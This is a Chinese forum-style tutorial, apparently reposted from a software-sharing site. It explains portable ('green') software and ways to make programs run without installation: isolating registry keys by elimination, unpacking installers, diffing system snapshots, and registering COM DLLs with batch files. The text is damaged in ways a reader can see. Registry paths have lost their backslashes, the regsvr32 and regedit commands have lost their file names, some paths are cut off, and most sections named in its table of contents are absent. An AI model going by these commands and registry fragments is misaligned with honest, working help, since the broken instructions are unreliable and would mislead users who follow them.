2023年12月1日发(作者：)绿色软件知识大全！
转载请注明出自雨林木风 ,本贴地址:/?tid=91324&u
绿色软件，实在方便！
本楼： 什么是纯绿色软件
1楼：制作迷你软件三步
2楼：绿软的绿化方法
3楼：bat批处理教程（1）
4楼：bat批处理教程（2）
5楼：批处理文件制作实例精彩教程
6楼：软件版本详细介绍
7楼：绿色软件命名规则
8楼：通杀各种exe安装程序
9楼：绿色软件的定义和分类
10楼：自制绿色软件-打造最傻瓜的软件安装包
11楼：扩展使用.INF文件－制作免安装的绿色软件
12楼：双系统互救安装法
13楼：软件精简与绿化专题之概念篇
14楼：呼吁“绿色软件
什么是纯绿色软件？
绿色软件有如下严格特征：
1、不对注册表进行任何操作（或只进行非常少的，一般朋友能理解的操作，典型的是开机起动。少数也进行一些临时操作，一般在程序结束前会自动清除写入的信息）。
2、不对系统敏感区进行操作，一般包括系统起动区根目录、安装目录（windows目录）、程序目录（Program Files）、帐户专用目录。
3、不向非自身所在目录外的目录进行任何写操作。
4、因为程序运行本身不对除本身所在目录外的任何文件产生任何影响，所以，根本不存在安装和卸载问题。
5、程序的删除，只要把程序所在目录和对应的快捷方式删了就可以了（如果你手工在桌面或其它位置设了快捷方式），只要这样做了，程序就完全干净地从你的电脑里删去了，不留任何垃圾。
以上就是绿色软件的特征。
对于编程人员来说，做一个绿色软件不难，做一个非绿色软件也不难，但是为什么那么多软件不做成绿色的呢？下面作一些讲解：
一、大型软件公司的大型软件为什么不做成绿色的：
1、大型软件公司并非没有能力做出绿色软件，但它们的软件涉及的方面过多，需要对系统原有的一些设置进行改动，以使电脑按照软件设计要求进行操作。以PhotoShop为例，它就需要在注册表里添加很多种格式文件的默认打开方法为，以便大家双击此类文件后就自动打开PhotoShop以便编辑。
2、为了更好的为一些对电脑知识不是很了解的朋友进行一些自动设定。还是以PhotoShop为例，这儿已经有朋友发布了解压即可用的，但是，还是不少的朋友，连解压也不会，解压后都不知道点哪个文件开始正常运行，也不知道怎么在桌面上建快捷方式。就算别人为他做完了上面的事，要是有一天，他不想要PhotoShop了，也不知道原来安装的程序在哪个目录，怎么删去，甚至不知道如何删除快捷方式，更别说如何完全干净的删除了。做成安装版就可
以自动为使用者完成上面的事了。
（特别说明：上面对PhotoShop的举例，只是用它来举例罢了，其实网上流行的解压即可用的PhotoShop也不是严格的绿色软件，其运行还是会写注册表的，如果不正常的使用它，注册表里还是会留下垃圾的，不过，这种垃圾对你的电脑影响不是很大，会的朋友可以手动删除这些垃圾）
二、做成安装软件很难吗？那些所谓写绿色软件的人是不懂windows编程，根本就写不出注册的过程吗。
1、我只能说，某些人的这种说法是一种非常不负责任的说法。其人根本不懂得编程，可笑而幼稚，只能以电脑肓来称呼。
2、现在流行的各种编程软件分三大类：
A、第一类是微软出的编程软件。
有Visual Studio系列（流行版本为6.0）以及新出不是很久的系列，它们都自带了安装发布功能。特别是Visual Studio中的VB做出的东西，如果不发布，或不进行相关的处理，在别的没有安装VB的机器上是根本运行不起来的，因为VB编译出来的程序在根本上是伪编译，其指令通过VB运行库转译后运行，没有VB运行库的机器是根本无法正常运行此类程序的。当然了，有经验的朋友可以手工把运行库复制入相应的目录中，或是和VB做出的程序放在一起。其它的Visual Studio做出的程序有的有类似的上述情况。
在微软出品的中，兼容了多种编程语言，但按其说法，最终的代码其根本实质会变成一致。但是它做出的也同样是伪代码，也就是说，其代码不是根本上的机器二进制代码，不对机器进行直接指令指示，而是向.NET运行环境（NET Framework接口）发出指令，而由NET Framework转译指令为机器代码，再进行持行。这就要求你的机器上安装了NET Framework。NET Framework在win95/win98/windows2000上默认是没有安装的，如要安装，需要从网上下载或其它方式得到后安装。（微软官方有下载，大家也可以使用windows updata得到）。XP、windows 2003已集成。最后要说的是，微软宣言，要将原来的API接口（windows一直使用的标准编程接口）作废，改用.NET接口，故.NET编程方式可能是将来的标准方式。系列的软件也集成了通用安装发布软件，只要正确掌握它，就能很好的做出楼主所谓的安装程序。
B、第二类软件是大名鼎鼎的Borland公司出品的编程软件，它也包括两大系列。即API系列和.NET系列。其.Net系列的情况和是类似的。而其API的情况就有些不同了。
Borland的Borland C++Builder和Borland Delphi是两种非常流行的针对win进行API编程的编程环境。他们也带有install shield，可以说是编程人员必学的。不过，很多的稍简单的程序，编制者并不用它，因为，使用Borland C
++Builder/Delphi开发出来的程序，只要正确设定几个参数，编译后得出的程序就可以在几乎所有版本的win中很好的直接运行了，当前，前提是，没有使用有特殊要求的第三方控件，或某些必要特别设定的数据源（BDE等）。而且，稍熟练的编制者可以直接在程序中通过程序自行进行一些简单的环境设定，如写注册表（关联文件、开机起动）、利用资源文件的方式向重要的目录写入文件，注册组件等等，可以说一点儿也不难。
C、第三类是一些比较偏的编程语言了，如易语言等，使用的人很少，本人很老实的说，具体情况我也不是很了解。
三、为什么一些个人的简单的软件会做成非绿色的：
1、编写者水平太低。低到只会使用微软的VB等，虽然做出的东西也值得一用，但是不知道怎么把它变成绿色的，只能依靠VB等本身的功能以保证程序的正常运行。
2、编写者懒，写出程序后想，只要程序能正常让别人用就可以了，不值得太费脑子，依靠VB等本身的功能发布吧，反正这样保险。
3、编写者水平不低，也不懒，但是它的程序用到了一些第三方控件，这些控件需要发布安装才能正常运行（需要注册特定的.DLL，需要把一些文件放到特定的位置，如典型的，要放入windows下的system32目录中。）
4、编写者为一些水平实在太低的人考虑，为了那些人的方便，如典型的《笨笨钟》就是此类，《FoxMail》、《winamp》也是此类，当然，FoxMail、《winamp》是写注册表的，通过其主程序进行一些环境的设定，严格上来说，也不是纯绿的。
5、编写者有一些特定的，不想为人知的东西要放入你的机器。比如典型的《阿达连连看》就是这样，它要把一些特定的与注册相关的东西放入你的windows目录，而且不想被人发现。又如网际快车的某些版本，它要把广告程序代码放入你的windows安装目录。
6、编写者有恶意，它的程序其实捆绑了木马、病毒等（对这一类的就要非常小心了），在安装的过程中这些恶意的程序就会释放出在，不知不觉中潜入你的计算机。
四、是否可以做出功能复杂，但又是严格意义上的纯绿软件：
答案是非常肯定的，因为，其实我们正在使用的很多程序都是纯绿的，特别是很多的游戏，虽然它们也要安装后才能运行，其实，你把它们安装后的目录放在别的机器上也一样的可以使用，并不必再次安装，其安装的意义就是***编写者为一些水平实在太低的人考虑***，如《三角洲》、《魔兽争霸III》。特别如网络游戏《传奇》（这个程序写的是真的很经典了，决对纯绿）等等著名的游戏都是如此。其需要设定的环境记录可以不写在注册表内，而利用*.INI
文件来记录。我不知道有几个人有胆子说编写这些程序的人水平低下。
五、综上所述：
1、要做出一个纯绿色的软件，并不是很难，当然，可能要求编制者更多的依靠自已去写代码（在必要情况下），在程序涉及方面比较多的情况下，可能给编制者加重很多的工作量。而要做一个非纯绿的软件，那就更容易了，往往可以利用编写器的一些自带功能自动完成。
2、纯绿的不带安装功能的软件非常适合于对电脑比较熟悉的朋友使用，而绿色带安装的软件适合于所有人使用。而自以为对电脑很熟的朋友往往更喜欢不带安装功能就可以用的。原因有如下：带安装的软件往往会有反安装程序，如果安装目录被人为删去，反安装程序或一些相关注册表信息往会留在机器中，成为垃圾。
3、为了自已的机器的安全、快速，也为了知情权（一个程序到底在安装和使用过程中在自已的机器里写了什么），本人极力推荐纯绿的软件。即便在必要的情况下非纯绿，也希望有详细的说明。说明软件可能会写注册表的那些部分，会改动机器里的哪些文件，会向哪些目录写入什么文件，内容。而且，希望这成为软件界的一个标准。这样，我们的电脑才会有安全可言！
4、为什么现在流行的软件中真正纯绿的软件不是很多呢？这个问题很不好回答。在这儿可以非常遗憾的告诉大家，有些朋友在网上下载的winrar绿色版、winamp绿色版等等，都不是真正意义上的纯绿软件。
比如winrar，它就因为为了在鼠标右键上出winrar的功能菜单而写动了注册表，因为要关联比如扩展名为.rar等等的文件（这些都可以在winrar程序里设定和更改）而写动了注册表。如果使用winrar后，强行把winrar程序目录删去，注册表里的这一部分注册表信息必然成为垃圾（其它的也许有本人没有发现的动作，如没有说出来是本人水平不足的问题了，呵呵）。
winamp绿色版似乎要好一些（本人的感觉），如果你设定了一些文件的关联，如双击*.mp3等文件winamp就会自动打开播放的话，你强行删去winamp所在目录，这部分文件的关联信息也会成为垃圾留在注册表中。
（上面两个只是举例，解决办法很多对电脑熟悉的朋友是会的，在这儿，我们并不讨解决办法，另外，应该说，上面两程序是很规范的东西，它们的这些动作是无可厚非的）
现在再回过头来说说“流行的软件中真正纯绿的软件不是很多”。
A、有些功能是非通过写注册表来实现不可，最最常见的就是文件关联、鼠标右键菜单。（呵呵，这种操作可以说，稍熟编程的人都会）。但是很少有个人编写者考虑到别人不用他的程序时，要怎么让使用者方
便地复位这些文件关联，方便地清理右键菜单。
B、部分程序编写者喜欢把注册信息放在注册表中。（为什么喜欢？就因为注册表是庞大的参数库，他们以为，要从这样一个大参数库找出他们写入的一个信息是大海捞针。事实上，的确很多朋友是难以找出来的，话又说回来，会者不难，难者不会，在这儿我也不细说了）
C、一些大公司的程序实在对系统有太多的改动，他们做好了安装和卸载工具，这些软件涉及了系统的方方面面，想简单的删除是很难的。典型的就如微软的Office等等。这些软件说实在的，别说你不老实的删除了，就是老实的卸载，有时也是很难成功的。最好的办法就是装上后就别卸把，把它看成是系统的一部分（不管你乐不乐意，呵呵）。（又及，这类程序也不是很少，这儿只举一例）。
D、只有那些其功能可以不涉及更改系统默认行为的软件才可能在真正意义上做到纯绿。（（也许我罗嗦了）系统默认行为包括“文件关联”，“右键菜单”，“控制面版”里的项目，真实或虚拟的硬件驱动以及其它我想不起来或是我也不知道的东西……）。当然了，还要编写者有真正的为使用者着想的精神，有较好的技术。
六、有部分并非纯绿的软件，伪装成纯绿的，在运行过程中向注册表写东西，向关键目录区写东西，甚至更改重要文件。这不是纯绿软件，只能说是伪纯绿。又及，很多网上流行的软件，号称纯绿版，实际上只是一些原版本经过稍许改进等，原软件并不设计为纯绿，在运行过程中还是会写注册表（甚至写关键win目录），也不是严格意义上的纯绿。
反过来，也有部分其实是纯绿的软件，为了大家的方便，做成了安装发布式的。比如最典型的就是《传奇》《三角洲》、《魔兽争霸III》等一些游戏，一些工作软件如《FOXMAIL》(FoxMail至少在针对IE选项里的“程序”页里的"电子邮件"相关项进行了注册表相关写操作)《winamp》《winrar》等等准绿软件（在这儿，我只说它们是准绿的）也是如此。这类软件其实安装出来后，把其目录放在任何一台电脑上都能或者能较为正常的运行，这也是为什么大家能很方便的把它们改造成绿色软件的原因。
现在真正的纯绿软件实际上是很少的，至于以后，也还是看不到纯绿一统天下的希望的，大家不可因噎废食。不可能只用纯绿软件而不用其它。而且大公司的软件一般还是非常可靠的。
七、非纯绿软件的危害：
1、向系统关键目录或不属于该程序所在目录乱存放文件（默认临时文件夹除外）在原则上对机器的运行速度是没有大的影响的，除非乱放的文件改动了原有的系统关键文件，
才会至使电脑变慢或运行不正常。但是，因为这些目录中的文件一般都比较多，很难对它们进行清理（鬼才知道哪个是能删，那个不能删），会使你的硬盘空间浪费，对于硬盘空间紧的朋友，那就非常讨厌了（此外，心里也不爽）。
2、向注册表乱写信息，如果乱写的信息并不影响系统的关键部分，对系统运行也是没有严重影响的，不过，有些信息写入了不删去，你的系统就会有些讨厌的东西出来，举例：你装上winrar后（典型安装设置），直接把winrar删了，你就会发现，你的右键菜单里会多出一些让人哭笑不得的东西。要注意的是，随着机器的使用，软件的安装、删除，这些可以感觉到和不能感觉到的信息会越来越多，而你的机器在运行过程中，几乎随时随刻不能离开对注册表的相关操作，注册表里的信息过多，机器查找所需信息的速度就会变慢，这时，机器的运行就表现为“变慢了”，这往往是一台电脑为什么越用越慢的最重要的原因之一。（提示：因为多数情况下，一个软件对注册表写的东西并不多，所以，在每一次垃圾进去了，用户是很难感觉到影响的）（又及，一些注册表清理软件，本人也用过，虽有作用，但是风险不少，是好是坏我也不知怎么评价……）。这些垃圾信息并非只有小公司的软件会留下，很多大公司的软件据本人的感觉，也是会留垃圾的，本人也很无耐。
解决办法吗？恕本人无能，在当今软件乱世，只怕多少有些无可耐何。本人是使用最笨的方法：Ghost镜像还原。基本上每三至四个月给它倒回一次。（工作文档等当然不能放在系统区了，呵呵）。
八、希望无知者不要信口开河，多多学习。最后，附上一个我自已做的纯绿软件---BCB编写的《水波特效演示》程序，给大家玩玩叭。
补充——初步判断一个软件是否纯绿软件的方法
（注，只有对电脑比较熟悉的人能才办到，如果下面的说明，你基本能看懂，而无需请教别人，你就能做到了）：
一、系统测试法：
1、将软件在别人的机器上安装，安装完成后，把安装出来的目录复制到你的机器中（如果本身就号称纯绿免装的，这步就免了）。
2、你的机器要求安装windows2000 或 windows XP 或 windows2003，使用受限用户登录（要求受限用户无对关键注册表有写权，无对重要目录有写权，当然了，默认的新建的用户就是这样的（XP下要将用户设为受限））。
3、受限用户登录后运行复制来的安装目录下的软件的主程序，如果正常，90%是纯绿。
4、对省下10%的说明——不排除可能编写者隐了动作，如果不成功也不报错，也不退出，还正常运行，一但能写的时就它就写。
另外，还有一部分程序，如FoxMail，只对当前帐户相关于注册表进行写操作，因为“帐户相关于注册表"是"属于"对应帐户的，在受限帐号下也是可写的（特别说明一下，注销该帐户，注册表中该帐户的所有项目都会清去，所以也可以算是绿的）。
二、软件监控法：
1、如果上面的步子还不令你放心，还有一个工具值得一用，那就是《Filemon》，这是一个可以监视系统中任何软件对硬盘的读写操作的程序，通过它，你可以查到某个程序对你的硬盘的什么位置的什么文件进行了操作，这个程序只能在管理员帐户下用（切入系统进程）。
2、对于注册表的监视是很麻烦的事，《Regmon》可以办到，同上面的工具一样Regmon要求在管理员帐户下用（切入系统进程）。
3、90%的软件和上面的两个软件无冲突，省下的9%的是作者有意防止被监视（为什么有意防止被监，那你就自个想吧，一般都是比较可怕的东西），最后1%可能是因为程序实在相互不兼容了。
以上两工具都为同一公司(Sysinternals)出品，值得一用，附在最后()。
三、并非所有的不能在受限帐户下用的程序都不是纯绿的。某些程序可能要切入别的系统程序中，某些程序需要得到硬件信息等，这些最只有在管理员帐户下才能实现。还有一些程序可能没有考虑多用户操作系统等。只能说，通过了上面的测试的程序90%是纯绿的，没有通过的话90%是非纯绿的。有经验的朋友还可以据自已的经验得到更准确的结论。
制作迷你软件三步
制作迷你软件一般分为三个步骤：
1.查找软件所需最少的键值。
2.查找软件所需最少的文件。
3.根据使用情况自定义软件的安装位置，打包。
制作迷你软件不需要太深的知识，只要对电脑有一定的了解就行，最好有自己的电脑，经常安装系统和应用程序，知道基本的文件类型，会简单的处理注册表和注册表文件。有了这些就可以自己制作迷你软件了，最好是对程序和注册表有一定的了解，这样可以我使查找工作简单一些，不过即使对这些懂得不多也可以学习着制作的，我就是从不懂开始的，而且没有人教我，关键是动脑筋，举一返三。在这里我介绍一下制作迷你软件的经验，方法很简单，很落后，希望高手们不要笑话。
一、如何查找软件所需最少的键值。
这里所说的查找，是指着那些大型的软件，有些软件如：Acdsee2.4和超级兔子2002，这类软件只需要只需要一两个注册信息的键就可启动，在正常安装时，在输入完注册码以后把注册码记下来，然后打开注册表，在里面搜索一下，一般会找到刚才输入的注册码，然后把找到的
键保存出来就行。下次换系统的时候无需安装，直接把注册信息导入新系统就行。
一般软件的注册信息都保存在[HKEY_LOCAL_MACHINESOFTWARE]这个键下，在这个键中会有和程序名相同的子键，注册信息就保存在其中。至于什么软件是这种只需要一个注册信息的软件在制作之前很难看出来。只能猜测。
我制作的第一个迷你软件是Word97，是office97办公软件中的一个。这个程序不需要注册表的键也可以正常运行，但是每次启动的时候都会出现错误报告，正常安装时则没有这个错误报告。我就把正常安装后的系统的注册表全部导出来，再把这些信息导放到一个新系统中，这时软件启动的时候就没有错误报告了。这样一来我就知道了，这个软件只需要注册表中的键值就不会出现错误提示。但是到底需要哪个键值还不知道。所以我又返回正常安装的系统，把注册表的六个根键分别导出来。这样就可当于把整个注册表信息分成六份。然后我又找上一个新系统，再把六个根键的信息分别导入新系统，当我把第一个根键的信息导入新系统以后，软件启动时就不再报错，这说明软件所需要的键就在第一根键中。
面对一个陌生的软件，不知道它究竟需要哪个键，就用这种方法去猜测，上面的例子只用了一次就查出来，所需要的键值在第一根键中。这样虽然不知道具体是哪个键，但是它缩小了寻找的范围。接下来在这个根键中寻找。这种方法虽然笨了点，但它还是很有用的。
第一根键中有成千上万个子键，直接找实在是找不过来。当时我的知识少，看到这么多的键，当时就放弃了，以为自己没有能力找出来，一直到一年多以后才又开始查找它。
我用的方法是很简单的，我不知道它需要什么键，也不知道所要的键在哪里，但是我知道它就在第一根键中，所以，我把第一根键手工分成三份，然后把中间的一份导入一个新系统，启动软件的时候还报错，再把第三份导入系统，这回软件就可以正常启动，这说明软件所需要的键有可能在第三份中，也有可能在第二和第三份中，所以我又找一个新系统，把第三份导入到系统中，软件启动时还报错，我再把第二份导放系统中，软件就可以正常启动，这说明软件需要的键在第二份和第三份中，第一份是没有用的，就把第一份扔掉。
通过上面的这一步，我还是不知道软件所需的键在哪里，但是我知道它在第一根键的中间和结尾部分，通过上面一步，我把查找范围缩小了三分之一，然后再用同样的方法，把这两份各自分成三份，共六份注册表键值。然后再换上一套新系统，再分别把它们导
入。如果导入四个“部分”后可以正常启动word，就说明所需键值在这四份中，另两份是没有用的，这样又把查找的范围缩小了，然后再分，再导……通过这种方法，一点一点的缩小范围，剩下的我虽然不知道它在哪里，但是一定在其中，为了查找软件所需要的键值，我换了近二十多个系统，重启了几十次电脑，最后在几千几万个键值中找到软件所需要的最少的键值。
上面的过程不知道您看懂没有，没有技巧，全是猜的，一点一点的缩小范围。我就是用这种：“排除法”来查找键值的，每次查找一个软件都要换掉好几个系统。我也知道这种方法麻烦，写出这些的时候我也脸红过，但是我没有更多的方法，也不会运用软件，那时我只是个初学者，这种方法不需要对注册表了解太多，只要有些基本常识就够了。我就是用这种最笨的方法制作了word2000迷你版和FrontPageXP迷你版，
制作word97时用“排除法”来查找键值，主要是想告诉初学者：即使对电脑和注册表了解不多，也照样可以自己制作迷你软件。不过这种方法用起来实在是麻烦，如果现在再来查找Word97的键，会有更好的方法。不过，“排除法”用起来虽然麻烦，但是它还是相当有用的。比如说拿到一个软件时，不知道它是否可以制作出迷你版，那就先用“排除法”判断一下。先导出安装后的注册表信息，把注册表的所有键值全导入新系统，如果软件能启动就说明这个软件可以制作出迷你版。在后再分别把六个根键的信息导入注册表，这样可以判断出软件需要哪个键，可以进一步缩小查找的范围。
在进一步查找的过程中，如果不想再用这种“排除法”，那就要多掌握一些关于注册表方面的知识，和软件在注册表中的规律。这里再介绍一种“猜测法”
一般的软件都会在[HKEY_LOCAL_MACHINESoftware]下面建立一个和自己公司名相同的子键，需要的注册信息保存在这里，大多数软件只需要这个键下的注册信息就可以启动，（汗一下，我一共才做过几个迷你软件，居然敢说“大多数软件”，汗，不过在这方面的确是要根据简单的几个去判断大多数的规律的，），但是有些软件虽然可以*这几个键值启动，但是功能却不完整。这是因为在[HKEY_LOCAL_MACHINESoftwareCLASSES]缺少相关的键值。如Acdsee5.0缺少下面的这三个键，在启动的时候就会报告无法找到数据库：
[HKEY_LOCAL_MACHINESoftwareCLASSESCLSID{1BF48485-D8A7-4B74-98B6-251E885C701A}InprocServer32]
@="C:Program FilesACD "
"ThreadingModel"="Both"
[HKEY_LOCAL_MACHINESoftwareCLASSESCLSID{E87A29B4-7738-4642-BACC-C85C1D9E7042}LocalServer32]
@="C:Program
FilesACD "
[HKEY_LOCAL_MACHINESoftwareCLASSESInterface{1BF48485-D8A7-4B74-98B6-251E885C701A}ProxyStubClsid32]
@="{1BF48485-D8A7-4B74-98B6-251E885C701A}"
虽然功能正常，但是这个错误报告很烦人，而且心理上不习惯，只要补上这三个键，acdsee5.0的功能就会正常。那么，从上面这一段中就可以得出两个查找键值的规律。
软件必须依*[HKEY_LOCAL_MACHINESoftwareCLASSESCLSID]下面的键指定软件的安装路径，那么反过来我们可以通过软件的安装路径来查找软件所需要的键值。例如上例中Acdsee5.0安装在C:Program FilesACD Systems5.0目录中，在地址栏中记下路径信息，然后打开注册表找到[HKEY_LOCAL_MACHINESoftwareCLASSESCLSID]这个键，用查找功能查找Acdsee的安装路径，当然，找到的键值会有很多个，这些并不全是软件所需要的，所以还要用“猜测法”去掉多余的键。把找到的键先导出保存为注册表文件，然后再删掉这个键，然后启动一下程序，如果程序可以启动，那就说明这个键是不需要的，再去搜索，如果删掉这个键，程序启却不了，或者启动时报错，那就说明这个键是必须要有的，就把刚才保存的注册表文件再导入注册表中，再搜索其它的键，直到找完clsid中所有的键，再把找到的键值合到一起。
单是clsid还不够，软件还需要其它的信息，仔细注意一下上面的三个键，在clsid中的键的主键名都是带有一串字符的串，这些定符串是什么意思我也不懂，但是根据上面的三个键来看，除了clsid下的键以外，还需要在classes键下的其它键值，而且这个键的主键名和clsid键下的键名相同，所以，第一步是根据路径查找clsid下的键，接下来在找到的clsid键中再按主键名在classes键下寻找其它的键。找到以后再用“猜测法”猜测。就是先保存此键，再删掉它，再启动程序，看看程序是否可以正常运行，最后把找到的所有键合到一起，再换上个新系统测试。这种方法比“排除法”简单一些，也是我常用的方法之一。
软件所需要的键值多数分布在在calsses中的
[HKEY_LOCAL_MACHINESoftwareCLASSESCLSID]
[HKEY_LOCAL_MACHINESoftwareCLASSESTypelib]
[HKEY_LOCAL_MACHINESoftwareCLASSESInterface]
这三个键下，具体什么用的我也不懂，只知道在这里有重要的东西。软件的复杂性不同，在classes键中的数量也不同，但和软件的大小无关。比如说Acdsee5.0只需要calsses下的三个键，但是Acdsee5.0自带的FotoCanvas2。0却需要上百个键。这就需要一定的耐性来查找了。
大多数软件都可以用上面的规律查找出所需键值，但是Office却不行，因为它是微软自己出的办公软件，对系统修改得太多，所以需要的键
值也多，查找起来相当费工夫。开始不了解它的时候我用排除法查找了Word2000和FrontPageXP两个软件的迷你版，通过查找这两个软件，我对Office的大概规律了解一些，所以后来的AccessXP迷你版中就用了“猜测法”。在查找软件的键值过程中可以把两种方法结合起来，如果对注册表了解的多，可以用“猜测法”，如果对软件不太了解可以用“排除法”来查找。
绿软的绿化方法
下面讲一下绿色软件的制作，简称软件的"绿化"，绿色软件的制作实际上就是我们自己完成安装程序的工作。没有什么固定的方法，基本上是猜测加上试验，不同类别的绿色软件分别有不同的制作策略。 拿到一个新的软件，想要制成绿色软件的话，我一般遵循如下步骤：
一、 判断。就是指猜测这个软件能不能制成绿色软件，从功能，从你对它的了解，如果你觉得这个软件和系统的关系非常紧密，就不要继续下去了，还是用原始的安装程序最保险最方便，这样的例子有directx9 ，IE6，Norton的反病毒软件等等。这样的判断可以节省你的时间，当然你可以忽略这一步，尝试制作绿色软件，那么就转到第2步。
二、"绿化"。对于不同的软件有不同的方法，没有一定的规则，但是总的来说，就是理解软件的安装过程，转换为绿色安装，在这个过程中，可能需要尝试多个方法，也可能最后由于软件的复杂性或者某些特性，导致无法绿化。要有失败的思想准备，具体的绿化方法随后讲述。
三、测试。"绿化"后的测试最好到你个全新安装的操作系统中测试，而且如果你要在多个操作系统中使用这个软件的话，还要在其他的操作系统中测试，有的软件的文件随着操作系统的不同而不同，这个时候你需要在不同的操作系统中进行"绿化"过程，最后综合为一个完整的适应多个操作平台的绿色软件。 "绿化"方法，需要根据经验选择不同的"绿化"方法，也可能需要不断尝试不同的方法，直到成功为止。按照先易后难的次序，具体的方法包括：
1 解压缩。这是最简单的一种方法，就是指尝试能不能直接解开软件的压缩包。用Winzip和Winrar试一试，看看能不能直接打开压缩的安装文件，如果不能打开，那么就换别的方法。如果可以，那么恭喜，这个软件多半是属于绿色安装的软件（有个别例外，如EmEditor），把压缩包中的文件直接解压到目标路径，然后测试软件的功能是否正常，如果功能正常，那么"绿化"就成功了，如果使用不正常，那么就换别的方法。这一类软件的特点是安装程序的工作完全可以由软件自身来完成。
2安装然后卸载。也是比较容易的方法，完全是体
力劳动，就是指直接安装这个软件，然后把程序复制出来，最后卸载安装程序。如果这个软件的安装程序的作用仅仅是复制文件和生成快捷键等工作，那么就属于绿色安装，可以使用这个方法。最后测试软件的功能是否正常，如果功能正常，那么"绿化"就成功了，如果使用不正常，那么就换别的方法。
3 反编译安装程序。这个方法需要动脑筋，就是根据安装程序所用的制作工具，选择相应的反编译程序，然后阅读反编译出的安装脚本，制作绿色软件。目前的软件大多使用专门的安装工具制作，如InstallShield，Wise，Inno Setup，Windows Installer，NSIS(Nullsoft),Installer VISE,其中Windows Installer格式的安装文件（就是MSI，MST为后缀的文件），可以通过微软的免费工具Orca打开查看，InstallShield格式的安装文件也有很多免费的工具可以解压缩和查看脚本。当然专门的安装工具很多，有许多安装程序没有相应的反编译程序，这种时候，就无法使用这个方法了。
4 观察反安装程序和log文件。现在的软件安装完成后绝大多数都带有卸载方法。卸载是安装的逆过程，如果知道怎么卸载，那么也可以推测出如何安装。由专门的安装工具制作的反安装程序，一般都是根据某一个文件中的信息来卸载的，可以用一个纯文本的编辑器打开这个文件。个别情况下这个文件完全不包含可读信息，就只好换用其他方法了。具体过程就是先采用方法2，然后理解反安装过程，最后根据反安装的信息制作绿色软件。
5 比较系统快照。当前面的方法都失败的时候，可以试一试这个方法。具体思路就是首先在安装软件之前，把系统的状态记录下来，主要包括注册表和系统目录的所有的文件状态。然后就是安装软件。安装完成后，再一次记录系统状态。最后就是比较前后两个系统状态的不同，而得知安装程序所做的工作。这个工作一般由专门的软件完成，如免费工具Regshot，免费工具inctrl5（/article2/0,4149,9882,），微软公司的sysdiff工具（可以从Windows2000的资源工具箱中得到），或者WinInstall LE（在Windows 2000 Sever 光盘的目录VALUEADD3RDPARTYMGMTWINSTLE中）。在多数时候，仅仅需要对比安装前后注册表的不同，这时候还有大量的注册表工具可以选用。在得出系统差异后，把差异分解为两个部分：文件部分和注册表部分。文件部分指的是向系统目录拷贝的文件，以及作为COM组件注册的文件，还有与这些文件相关的注册表部分。注册表部分单单指其余的注册表的变化。对于文件部分，可以进一步区分出必须要往系统目录拷贝的文件（这种情况是少数）和可以放在软件的
安装目录的文件。对于注册表部分，区分出由这个软件的安装程序本身所作出的注册表操作和注册COM组件时候的注册表操作，抛弃其他程序（如资源管理器Explorer）的操作。根据所有这些，写一个拷贝文件，注册COM组件和导入注册表的批处理文件，就可以完成绿色软件的制作了。当注册表文件中含有路径信息的时候，可以手工修改注册表文件或者把注册表文件转化为INF文件从而实现全自动的路径处理。
6 直接导出注册表，寻找自注册的COM组件。这个方法是上面的方法5的简化版，现在软件的配置大多写在注册表中的"HKEY_LOCLAL_MACHINESOFTWARE软件公司名字"和"HKEY_CURRENT_USERSOFTWARE软件公司名字"这2个键下面，直接对把这2个注册表键导出到REG文件中。自注册的COM组件都需要导出如下4个函数：DllCanUnloadNow，DllGetClassObject，DllRegisterServer， DllUnregisterServer，可以用vc自带的找出哪一个动态链接库是自注册的COM组件。最后写一个批处理文件用注册COM组件和用导入注册表。 通过上面分析安装程序的动作，把安装程序的工作分解为复制文件，注册COM组件，安装服务驱动，注册表配置等几个部分，虽然注册表配置可以覆盖注册COM组件，安装服务驱动等操作步骤，但是把这些明显分割出来有助于制作绿色安装的软件。对于需要更复杂的步骤来安装的软件，还是使用原来的安装程序比较保险。
具体事例 ：
winrar3.30 和Winzip9.0，采用方法1，解压缩。这个方法非常简单，从天空软件站下载和，在一个安装了Winrar的系统上，用鼠标右键选择下载的文件，运行右键菜单中的用Winrar打开的命令，然后把文件解压到我们的目标路径，如E：tools目录，就可以了。然后分别对Winzip9和Winrar进行设置就可以了。运行winzip9目录中的，进行winzip的设置。Winrar也是一样，运行，打开菜单选项-〉设置，弹出一个对话框，选择标签--集成，逐项对Winrar设置。当拷贝到U盘而到新的机器上运行时，需要重复这些设置过程。 这一类软件的特点是安装程序的工作完全可以由软件自身来完成，从而完全抛开安装程序，或者说安装程序的工作也就是解压缩。类似的软件还有一些，最简单的测试办法就是看看Winrar能否直接打开压缩的安装程序。也可以采用方法2，过程基本上和方法1一样。 方法2就不具体说明了，仅仅指出有许多程序属于这个类别，如Myie2，GreenBrowser，qq，BPFTP Server，IDA_Pro_Standard_4.5.1.770，FinalData，EASYRECOVERY 6.03，腾逊公司的TM等。
flashget是大家用得比较多的一个软件，可以多线程下载并且下载管理的功
能也很方便，从天空软件站下载flashget1.60a国际版，运行一下，然后取消安装。从上可以看出flashget1.60a国际版是使用Wise制作的安装程序，从网上下载wungui程序，非常容易的把安装程序解压缩到一个目录中，观察Maindir目录，其中有两个DLL文件和，进一步察看这两个动态库文件的导出函数，可以知道这两个DLL文件都是自注册的COM组件，写一个批处理文件来注册这两个DLL： REGSVR32 /s REGSVR32 /s 经过测试，功能正常，并且可以从浏览器IE中用鼠标的右键菜单激活flashget，功能完全，下面考虑卸载过程。
运行，发现flashget在注册表中的路径是[HKEY_CURRENT_USERSoftwareJetCarJetCar]，写一个注册表文件删除这个路径，如下：
REGEDIT4 ; flashget [-HKEY_CURRENT_USERSoftwareJetCarJetCar] 同时写一个批处理文件来卸载这两个DLL文件并导入： Regedit /s REGSVR32 /s /U REGSVR32 /s /U 随后就是删除一些我们用不到的文件，比如language目录的绝大多数欧洲的语言文件，这时候这个绿色版本就做好了。把制作好的绿色的flashget拷贝到U盘上，需要用的时候，直接执行里面的文件就可以了（注意，要在flashget的目录运行批处理文件），不需要任何文件拷贝。 我看到有人提到用优化大师提取falshget的注册表，然后直接导入注册表来制作绿色的flashget，这样做是不行的，从我前面的步骤来看，注册2个DLL文件必然在注册表中引入了绝对路径，那么如果直接提取注册表的话，就必须根据当前的路径来修改注册表中的路径，否则的话制作的绿色版的flashget只能在固定的目录运行。在制作flashget绿色版的时候，我同时使用了方法3和方法6，使用方法3的目的就是避免安装程序对系统作的修改，这样可以直接在当前系统进行测试，而不需要到另外一个没有安装过flashget的系统测试。 